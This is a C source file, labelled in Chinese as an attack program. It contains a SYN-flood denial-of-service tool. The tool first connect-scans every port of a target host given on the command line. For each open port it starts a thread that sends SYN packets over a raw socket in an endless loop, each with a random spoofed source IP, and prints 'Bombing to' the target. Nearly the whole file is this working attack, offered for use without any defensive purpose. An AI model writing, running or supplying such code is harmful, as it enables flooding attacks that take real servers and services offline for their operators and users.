test.c

攻击程序,linux下passgcc -o test test.c

/*--------------------------------------------------------------*
 * Name: tcplib.c                                               *
 * Desc: inlcude tcp client routings                            *
 *                                     By M.J.W. May 20, 1998   *
 *--------------------------------------------------------------*/

#include "test.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h> 
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80
#define LOCALPORT 8888

#define PckHeadLen    4
extern  char          sTmpBuff[MaxCommBuff];

typedef struct{
	char *ip;
	int port;
}ipport;

/*--------------------------------------------------------------*
 * Name: sendPacket                                             *
 * Desc: send a packet to remote process(upper_comu),the func   *
 *       return immediately whether send sucessful              *
 * Inpt: sItem: the packet to send                              *
 *       nLen:  the length of the packet to send                *
 *       nSockFd:the file hand of socket                        *
 * Ret:  if send success,return 0                               *
 *       if system error,return -1;                             *
 *--------------------------------------------------------------*/
int sendPacket(int nSockFd,char sItem[],int nLen)
{
    char sTmpPck[MaxCommBuff] = {0x00};
    unsigned int  tLen;

    tLen = htonl(nLen+PckHeadLen);
    memcpy( sTmpPck, &tLen, PckHeadLen);
    memcpy( sTmpPck+PckHeadLen, sItem, nLen);

    if(write(nSockFd,sTmpPck,(nLen+PckHeadLen) )!=(nLen+PckHeadLen) )
       return -1;
    return 0;
}
/*--------------------------------------------------------------*
 * Name: recvPacket                                             *
 * Desc: read a packet from socket-connected line               *
 * Inpt: s_nLineFd: line file description                       *
 *       sItem:  object string                                  *
 *       nLen : the length of the item received                 *
 * Ret:  if sucesss, return length of (s) read.                 *
 *       else return -1;                                        *
 *--------------------------------------------------------------*/
int recvPacket(int s_nLineFd,char sItem[],int *nLen)
{
    char sPckHead[PckHeadLen+1];
    int  nRet=0;
   
    if( (nRet = read(s_nLineFd,&sPckHead[0],PckHeadLen)) !=PckHeadLen )
    {
        return (nRet==0 ? 0 : -1 );
    }

    sPckHead[PckHeadLen] = '\0';
    *nLen = atoi(sPckHead);

    if( (nRet=read(s_nLineFd,sItem,*nLen)) != *nLen)
    {
        return -1;
    }
    sItem[*nLen]='\0';
    return 1;
}
/*--------------------------------------------------------------*
 * Name: exitConnection                                         *
 * Desc: used in client. exit the socket connect                *
 * Inpt: the socket file hand in client program                 *
 *--------------------------------------------------------------*/
void exitConnection(int nSockFd)
{
    if(nSockFd > 0 )
        close(nSockFd);
}
/*--------------------------------------------------------------*
 * Name: initConnection                                         *
 * Desc: client creat a connection between server program and   *
 *       client         program.                                *
 * Inpt: *nSockFd: the client socket file identifier            *
 *         nTcpKey:  Server key point                           *
 *         sHostAddr: the server's IP address                   *
 *--------------------------------------------------------------*/
int  initConnection(int *nSockFd,int nTcpKey,char *sHostAddr,
     int nMode)
{
    struct sockaddr_in    rServAddr;
    int  args;

    /*
     *fill in the strcture "rServAddr"
     */
    *nSockFd=-1;
    bzero((char *)&rServAddr,sizeof(rServAddr));
    rServAddr.sin_family=AF_INET;
    rServAddr.sin_addr.s_addr=inet_addr(sHostAddr);
    rServAddr.sin_port=htons(nTcpKey);

    /*
     * Open a TCP socket (an Internet stream socket()
     */
    if( ((*nSockFd)=socket(AF_INET,SOCK_STREAM,6))<0){
        return -1;
    }

    if(connect((*nSockFd),(struct sockaddr *)&rServAddr,sizeof(rServAddr))<0)
    {
        close(*nSockFd);
        return -1;
    }
    if ( nMode == 1 )
    {
       args=fcntl(*nSockFd,F_GETFL,&args);
       fcntl(*nSockFd,F_SETFL,args|O_NDELAY);
    }
    return 1;
}

void send_tcp(int sockfd,struct sockaddr_in *addr) 
{
	char buffer[1000]; /**/ 
	struct ip *ip; 
	struct tcphdr *tcp; 
	int head_len,i; 
	/**/ 
	head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
	bzero(buffer,1000);
	/**/
	ip=(struct ip *)buffer;
	ip->ip_v=IPVERSION; /**/ 
	ip->ip_hl=sizeof(struct ip)>>2; /**/ 
	ip->ip_tos=0; /**/ 
	ip->ip_len=htons(head_len); /**/ 
	ip->ip_id=0; /**/ 
	ip->ip_off=0; /**/ 
	ip->ip_ttl=MAXTTL; /**/ 
	ip->ip_p=IPPROTO_TCP; /**/ 
	ip->ip_sum=0; /**/ 
	ip->ip_dst=addr->sin_addr; /**/ 
	/**/ 
	tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
	tcp->source=htons(LOCALPORT); 
	tcp->dest=addr->sin_port; /**/ 
	tcp->seq=random(); 
	tcp->ack_seq=0; 
	tcp->doff=5; 
	tcp->syn=1; /**/ 
	tcp->check=0; 
	/**/ 
	while(1) 
	{ 
		/**/ 
		ip->ip_src.s_addr=random();  
		/**/ 
		tcp->check=check_sum((unsigned short *)tcp, 
		sizeof(struct tcphdr)); 
		int result=sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
		//printf("%d\n",result);
	       //printf("%s:%d\n",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port));	
	} 
} 

/**/ 
unsigned short check_sum(unsigned short *addr,int len) 
{ 
	register int nleft=len; 
	register int sum=0; 
	register short *w=addr; 
	short answer=0; 
	while(nleft>1) 
	{ 
		sum+=*w++; 
		nleft-=2; 
	}	
	if(nleft==1) 
	{ 
		*(unsigned char *)(&answer)=*(unsigned char *)w; 
		sum+=answer; 
	} 
	sum=(sum>>16)+(sum&0xffff); 
	sum+=(sum>>16); 
	answer=~sum; 
	return(answer); 
} 

int thread(void *arg) 
{ 
	int sockfd;
        int on=1;	
	ipport *test=(ipport *)arg;
	struct sockaddr_in addr; 
	struct hostent *host;
	bzero(&addr,sizeof(struct sockaddr_in)); 
	addr.sin_family=AF_INET; 
	addr.sin_port=htons(test->port); 
	if(inet_aton(test->ip,&addr.sin_addr)==0) 
	{ 
		host=gethostbyname(test->ip); 
		if(host==NULL) 
		{	 
			fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
			exit(1); 
		}	 
		addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
	} 
	/**/ 
	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
	if(sockfd<0) 
	{ 
		fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
		exit(1); 
	} 
	/**/ 
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
	/**/ 
	setuid(getpid()); 
	/**/ 
	printf("A thread made:Bombing to %s:%d.\n",inet_ntoa(addr.sin_addr),ntohs(addr.sin_port));
	send_tcp(sockfd,&addr);
} 

void Makethread(char * sip)
{
	pthread_t id;
	ipport test;
	int i=0;
	int nRet,ret;
	int nSocket;
	while (i<99999)
	{
		nRet=initConnection(&nSocket,i,sip,0);
		if (nRet>=0)
		{	
			bzero(&test,sizeof(ipport));
			test.ip=sip;
			test.port=i;
			sleep(1);
			ret=pthread_create(&id,NULL,(void *)thread,(void *)&test);
			if(ret!=0)
			{
				printf("Create port:%d failed.\n",i);
				continue;
			}
		}
		//printf("test port i:%d\n",i);
		i++;
		exitConnection(nSocket);
	}
}

int main(int argc,char**argv)
{
	if(argc!=2)
	{
		printf("Lost Host_ip.\n");
		exit(1);
	}
	printf("Scan port for make thread to bomb,please wait.\n");
	Makethread(argv[1]);
	printf("All threads have been made!\n");
	sleep(1000);
}